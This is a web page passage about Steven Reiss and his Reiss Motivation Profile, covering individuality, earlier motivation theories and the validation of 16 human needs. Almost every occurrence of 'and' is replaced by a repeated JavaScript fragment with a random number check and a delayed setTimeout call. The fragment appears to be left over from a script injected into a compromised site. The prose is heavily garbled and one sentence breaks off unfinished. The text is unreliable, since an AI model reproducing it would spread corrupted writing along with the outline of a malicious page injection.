Background: People are completely individual. They often live in a contradiction andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and try to adapt to others while at the same time trying to be themselves. To briefly explain this with an example: Children in day-care learn that being different is not always beneficial. As cruel as it can be, when you grow up it does not necessarily change. When we live our identity, we run the risk to succumb andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and risk being marginalized, despised or, in the worst case, bullied. And all this because we are not understood.

The need for “fitting in” does not only apply to your workplace – it happens to us just as much among our friends, with our children andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and partners andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and always, when we meet other people. Rarely is a person automatically appreciated by others because he or she is different. Individuality can separate people. Whenever two people think very different about their priorities, it’s hard to understandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and why the other part think, feel andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and act differently. However, the more you get caught up in such self-perspectives, the greater the risk of projecting a view of “what is good for me is good for others” on partners, friends andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and colleagues. This leads to many conflicts andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and misunderstandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andings.

In Europe, he is primarily known as the creator of the Reiss Motivation Profile®; this is a diagnostic procedure in personality analysis that can be applied across a range of consultancy contexts, e.g. personal development, career coaching andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and elite sport.

For Steven Reiss, there was a mystery in life that he wanted to solve: Why are people the way they are andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and how do I understandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and AND predict their behaviour?
Using these two questions, he developed the Reiss Motivation Profile, a tool that reveals a person’s fundamental goals andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and values. The personality profile that was created through this has so far helped countless people to understandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and themselves andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and other people better.

Who am I? What do I actually want? Until now, psychologists have worked on the basis of only a few different, yet dominant, impulses that determine people’s actions; Steven Reiss’ empirical research, on the other handom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and, identified a significant number of factors. Sigmund Freud believed that libido was almost the only driving force. Alfred Adler believed that people want to belong andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and become better / grow / learn / be significant / respected andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and muster the courage to compensate for their flaws. The American psychologist Abraham Maslow considered the striving for self-actualisation to be the driver for human behaviour. “These schemata do not take any account of how different people are,” says Reiss. There was no system that included human diversity when it came to looking at the motivators for behaviour. What makes people tick is so varied that it cannot be explained by just  

Steven Reiss, Ph.D., conducted scientific surveys andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and then used factor analytic methods to delineate 16 human needs. He andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and independent researchers, notably Ken Olson, Ph.D., then validated each of the 16 needs against personality measures (e.g., Big 5 scales, motivation scales, Anxiety Sensitivity Index, romance scales) as an indicator of behavior (e.g., interest in college major, club memberships, television viewing habits, participation in sports, participation in humanitarian causes, etc.). Reiss reported this work in 17 scientific journal articles -three published in prestigious APA journals – andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and three books. Since then, others have published books on the RMP. The instrument is gaining wide use. Practitioners usually can “see” the validity of the tool (meaning that the validity is apparent andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and not limited to statistics).
